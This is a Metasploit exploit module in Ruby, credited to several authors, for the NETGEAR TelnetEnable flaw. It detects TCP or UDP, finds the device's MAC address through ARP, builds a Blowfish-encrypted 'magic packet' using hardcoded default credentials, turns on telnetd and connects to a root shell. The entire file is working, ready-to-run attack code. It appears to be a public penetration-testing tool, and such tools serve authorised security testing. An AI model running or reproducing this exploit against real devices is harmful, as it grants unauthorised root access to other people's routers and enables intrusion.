## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Tcp include Msf::Exploit::Capture def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR TelnetEnable', 'Description' => %q{ This module sends a magic packet to a NETGEAR device to enable telnetd. Upon successful connect, a root shell should be presented to the user. }, 'Author' => [ 'Paul Gebheim', # Python PoC (TCP) 'insanid', # Python PoC (UDP) 'wvu', # Metasploit module ], 'References' => [ ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'], ['URL', 'https://github.com/cyanitol/netgear-telenetenable'], ['URL', 'https://github.com/insanid/netgear-telenetenable'] ], 'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP) 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets' => [ ['Automatic (detect TCP or UDP)', proto: :auto ], ['TCP (typically older devices)', proto: :tcp, username: 'Gearguy', password: 'Geardog' ], ['UDP (typically newer devices)', proto: :udp, username: 'admin', password: 'password' ] ], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(23), OptString.new('MAC', [false, 'MAC address of device']), OptString.new('USERNAME', [false, 'Username on device']), OptString.new('PASSWORD', [false, 'Password on device']) ]) end def check # Run through protocol detection detect_proto # This is a gamble, but it's the closest we can get if @proto == :tcp CheckCode::Detected else CheckCode::Unknown end end def exploit # Try to do the exploit unless telnetd is detected @do_exploit = true # Detect TCP or UDP and presence of telnetd @proto = target[:proto] detect_proto if @proto == :auto # Use supplied or ARP-cached MAC address configure_mac if @do_exploit # Use supplied or default creds configure_creds if @do_exploit # Shell it exploit_telnetenabled if @do_exploit connect_telnetd end def detect_proto begin connect res = begin sock.get_once || '' rescue EOFError '' end # telnetenabled returns no data, unlike telnetd if res.length == 0 print_good('Detected telnetenabled on TCP') else print_good('Detected telnetd on TCP') @do_exploit = false end @proto = :tcp # It's UDP... and we may not get an ICMP error... rescue Rex::ConnectionError print_good('Detected telnetenabled on UDP') @proto = :udp ensure disconnect end end def configure_mac @mac = datastore['MAC'] return if @mac print_status('Attempting to discover MAC address via ARP') begin open_pcap @mac = lookup_eth(rhost).first rescue RuntimeError fail_with(Failure::BadConfig, 'Superuser access required') ensure close_pcap end if @mac print_good("Found MAC address #{@mac}") else fail_with(Failure::Unknown, 'Could not find MAC address') end end def configure_creds @username = datastore['USERNAME'] || target[:username] @password = datastore['PASSWORD'] || target[:password] # Try to use default creds if no creds were found unless @username && @password tgt = targets.find { |t| t[:proto] == @proto } @username = tgt[:username] @password = tgt[:password] end print_good("Using creds #{@username}:#{@password}") end def exploit_telnetenabled print_status('Generating magic packet') payload = magic_packet(@mac, @username, @password) begin print_status("Connecting to telnetenabled via #{@proto.upcase}") @proto == :tcp ? connect : connect_udp print_status('Sending magic packet') @proto == :tcp ? sock.put(payload) : udp_sock.put(payload) rescue Rex::ConnectionError fail_with(Failure::Disconnected, 'Something happened mid-connection!') ensure print_status('Disconnecting from telnetenabled') @proto == :tcp ? disconnect : disconnect_udp end # Wait a couple seconds for telnetd to come up print_status('Waiting for telnetd') sleep(2) end def connect_telnetd print_status('Connecting to telnetd') connect handler(sock) end # NOTE: This is almost a verbatim copy of the Python PoC def magic_packet(mac, username, password) mac = mac.gsub(/[:-]/, '').upcase if mac.length != 12 fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -') end just_mac = mac.ljust(0x10, "\x00") if username.length > 0x10 fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes') end just_username = username.ljust(0x10, "\x00") if @proto == :tcp if password.length > 0x10 fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes') end just_password = password.ljust(0x10, "\x00") elsif @proto == :udp # Thanks to Roberto Frenna for the reserved field analysis if password.length > 0x21 fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes') end just_password = password.ljust(0x21, "\x00") end cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00") md5_key = Rex::Text.md5_raw(cleartext) payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00")) secret_key = 'AMBIT_TELNET_ENABLE+' + password byte_swap(blowfish_encrypt(secret_key, payload)) end def blowfish_encrypt(secret_key, payload) cipher = OpenSSL::Cipher.new('bf-ecb').encrypt cipher.padding = 0 cipher.key_len = secret_key.length cipher.key = secret_key cipher.update(payload) + cipher.final end def byte_swap(data) data.unpack('N*').pack('V*') end end